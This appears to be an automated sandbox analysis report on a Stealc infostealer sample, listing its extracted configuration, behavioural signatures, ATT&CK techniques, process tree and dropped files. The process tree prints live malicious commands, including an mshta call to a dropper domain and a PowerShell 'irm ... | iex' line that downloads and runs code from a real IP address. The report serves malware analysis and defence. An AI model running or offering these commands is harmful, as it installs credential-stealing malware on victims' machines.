stealc | 36e4ad62de16ebf3a3fd4fd206eacfa9d37661dd2722e69a762cfa509f2f3ada

Analysis

max time kernel
149s
max time network
124s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
10/12/2025, 02:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.ps1
Size 33B
Sample251210-c64j4sspfx
SHA256 36e4ad62de16ebf3a3fd4fd206eacfa9d37661dd2722e69a762cfa509f2f3ada
MD5 838176186239d6e08787700ff3344abd
SHA1 4e5010a17409ca3e41ba65ae94798b9693b7a9eb
SHA512 b6586eab3e390795da3cb390433ffc158ac7b39e7bc078e59353c0d4e2f5fb820ecff2f800491c372db2a855eb6c33991e4da86c32fe02bef4efa2df31741a09
MD5 SHA1 SHA512

Score

10^/10

moneya defense_evasion execution stealc persistence spyware stealer

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://py-installer.cc

Extracted

Family

stealc

Botnet

MONEYA

http://95.182.101.109

Attributes

url_path
/fb0317ba467c4eb6.php

rc4.plain

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3656	1456	powershell.exe	80

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5384	mshta.exe
3	5384	mshta.exe
4	5384	mshta.exe
5	5384	mshta.exe
6	3656	powershell.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3656	powershell.exe
4472	PowerShell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wiaacmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wiaacmgr.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3432	timeout.exe

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Device Association Framework	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Device Association Framework\Store	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Device Association Framework\Store\	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4472	PowerShell.exe
4472	PowerShell.exe
3656	powershell.exe
3656	powershell.exe
3632	wiaacmgr.exe
3632	wiaacmgr.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4472	PowerShell.exe
Token: SeSecurityPrivilege	5384	mshta.exe
Token: SeSecurityPrivilege	5384	mshta.exe
Token: SeDebugPrivilege	3656	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4472 wrote to memory of 5384	4472	PowerShell.exe	79
PID 3656 wrote to memory of 5136	3656	powershell.exe	86
PID 5136 wrote to memory of 2332	5136	csc.exe	87
PID 3656 wrote to memory of 3632	3656	powershell.exe	88
PID 3656 wrote to memory of 3632	3656	powershell.exe	88
PID 3632 wrote to memory of 4400	3632	wiaacmgr.exe	89
PID 3632 wrote to memory of 4400	3632	wiaacmgr.exe	89
PID 3632 wrote to memory of 2188	3632	wiaacmgr.exe	91
PID 3632 wrote to memory of 2188	3632	wiaacmgr.exe	91
PID 3632 wrote to memory of 5868	3632	wiaacmgr.exe	93
PID 5868 wrote to memory of 3432	5868	cmd.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\system32\mshta.exe
  "C:\Windows\system32\mshta.exe" https://py-installer.cc
  2⤵
  - Badlisted process makes network request
  - Suspicious use of AdjustPrivilegeToken
  PID:5384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ep Bypass -nop -Command "irm http://46.62.255.176/mon | iex"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3656
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w5hhsk4c\w5hhsk4c.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5136
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES919C.tmp" "c:\Users\Admin\AppData\Local\Temp\w5hhsk4c\CSC41CE38E7737A4E1D87984768B992BC9.TMP"
    3⤵
    PID:2332
- C:\Windows\System32\wiaacmgr.exe
  "C:\Windows\System32\wiaacmgr.exe"
  2⤵
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4400
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:2188
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\System32\wiaacmgr.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5868
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3432

C:\Windows\system32\mshta.exe
mshta.exe
1⤵
PID:4988

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:2132

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:2380

C:\Windows\System32\wiaacmgr.exe
C:\Windows\System32\wiaacmgr.exe -Embedding
1⤵
PID:4380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
- Modifies data under HKEY_USERS
PID:5240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

9D8C6EE3-D770-1C7F-243B-3817AC13802F.txt

Path C:\ProgramData\9D8C6EE3-D770-1C7F-243B-3817AC13802F.txt
Size 64B
SHA256 34f28f46a3b338e9ab72404da0a875e44ce59b2bad2a0684976af206edaf293e
MD5 467b56f2597b63600b0756e3097e6761
SHA1 a50b5ec781f1ff4d0f1db3ba0a42957775bf9c7f
SHA512 f5da1527148e87b7bc2e8f6811cb71c0b31128d73c58d0197ee0e83689e9c62f33ad6c4b52cef0b4d43af470ad2d80028e606c38ca2f2280b2db635884b20267
MD5 SHA1 SHA512

Submit Download

9D8C6EE3-D770-1C7F-243B-3817AC13802F.txt

Path C:\ProgramData\9D8C6EE3-D770-1C7F-243B-3817AC13802F.txt
Size 64B
SHA256 0e1964d69773777667b79fceec8706a0c894ce32effb6743cb75c575a92dda5d
MD5 f628ecbf2c88f3f3da7e7ea6ad79f30d
SHA1 10d6dafbc47dede2139ce2beedc435503a84a72f
SHA512 0f33c61c73dc8f468812464fe316db5cc7175734e77710c533835482b38cf63e387d3fe15f3b68cf063214557eb0621f067b9f7b0ff9c2b0cc0f83605d58144e
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
MD5 1a11402783a8686e08f8fa987dd07bca
SHA1 580df3865059f4e2d8be10644590317336d146ce
SHA512 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
MD5 SHA1 SHA512

Submit Download

RES919C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES919C.tmp
Size 1KB
SHA256 0795478c4b4d667213e5df4732380038e92968a1fbab151573a4dae40bdff4fd
MD5 886117a3ffb010176a9e8fc98adaab12
SHA1 4e658b5a2704232c3fac901ff08d722b42bdc383
SHA512 1de9caf42e48fcf8d50df5722a01302783a6906ac2b4fe90a6dce9d6adc6c063681499bddeb4eb92b129ba4ada6fbd13a536f54af1d5c0698f77f492f30724b8
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_f5ohjw1w.exf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5ohjw1w.exf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

w5hhsk4c.dll

Path C:\Users\Admin\AppData\Local\Temp\w5hhsk4c\w5hhsk4c.dll
Size 6KB
SHA256 f85190af0b622122cd877aedc15f62789e8380669fe90044648b88541c8dff6b
MD5 e1330026a06c41f52c657dabca06b188
SHA1 37645d9262eceb115efb06cc3389d3be9ad86d64
SHA512 3bc1c463cc0124b33c90f3867746d308a726648ce2a881561e1ea3aecee907d47eb52e574b4a7f7fbc064df7aea00df52c89d431c5106bbd40cb68d67bef858c
SSDEEP 96:MpXbPYujpJ1I+5vzlVpkeweOL9gUR37VK:izI+N7pkefO6
MD5 SHA1 SHA512 SSDEEP

Submit Download

CSC41CE38E7737A4E1D87984768B992BC9.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\w5hhsk4c\CSC41CE38E7737A4E1D87984768B992BC9.TMP
Size 652B
SHA256 adeaa0b646676c93954b58d9628fe28f952d10aa249f1fd93db236a83609022b
MD5 fc198f1fe432f11da111221a695a9722
SHA1 318a3cbdd296f2a72b7c3ea4c952b5a87217ed77
SHA512 42ac41ac14902162a1a1df6d82b79de9f6fe4a7743d2eaa9a3fc19382392f13cb8edf7bbd394d557ebc334cef7a44662df8d29f798b29c086d5c7fd85da6914c
MD5 SHA1 SHA512

Submit Download

w5hhsk4c.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\w5hhsk4c\w5hhsk4c.0.cs
Size 6KB
SHA256 d478e40ebc7034463015023bcd581aef25a94d4a260d3dca6d699a6689ba09a4
MD5 c9b66ab32a8fc18f22b241aaf925c7e5
SHA1 5171ea0fdfb80e99c4e5becc8bbfff70d3adc203
SHA512 81ebabe9dfaf49982be451a2cf2667ddd0527659ceb7f8a9e411aaf0134f92a167b0106c1227b2dc65535c4c4921bc6006b0318410a9b93b7869d1a5d86f9943
SSDEEP 96:JjwyjU3PmfnsAvLLoG86uxeKxkvoCqy1FaSSsFVyz0gNajnij5I4:ZU/8nDLLoEuxeKAoCqy1MSSsfyAFidI4
MD5 SHA1 SHA512 SSDEEP

Submit Download

w5hhsk4c.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\w5hhsk4c\w5hhsk4c.cmdline
Size 369B
SHA256 78d30525d367ef3e6d3609a2e6fa5703b7f39f0f8696d0c023ce949c0c52d585
MD5 3967ad05a445b317af346703af830a87
SHA1 f748f2a5c153a68f97a22a95e14514d1828c34f7
SHA512 a6ea194ddf65a7ab5b069cd832328624be3e8dfb575956e75dd5ce9d9cd2c67a71872854536de9972b4d6475db0b6ea0f2b4862b10a482fe72f2945dda113264
MD5 SHA1 SHA512

Submit Download

memory/3632-60-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-64-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-70-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-55-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-56-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-48-0x000001BF87460000-0x000001BF87463000-memory.dmp

Download

memory/3632-49-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-62-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-67-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-66-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-65-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-57-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-63-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-61-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-58-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3632-59-0x000001BF877B0000-0x000001BF8787C000-memory.dmp

Download

memory/3656-33-0x00007FFA3B110000-0x00007FFA3BBD2000-memory.dmp

Download

memory/3656-46-0x000001C781F30000-0x000001C781F38000-memory.dmp

Download

memory/3656-32-0x000001C79BFB0000-0x000001C79C172000-memory.dmp

Download

memory/4472-1-0x0000020059650000-0x0000020059660000-memory.dmp

Download

memory/4472-9-0x0000020059650000-0x0000020059660000-memory.dmp

Download

memory/4472-8-0x000002005C4F0000-0x000002005C512000-memory.dmp

Download

memory/4472-0-0x0000020059650000-0x0000020059660000-memory.dmp

Download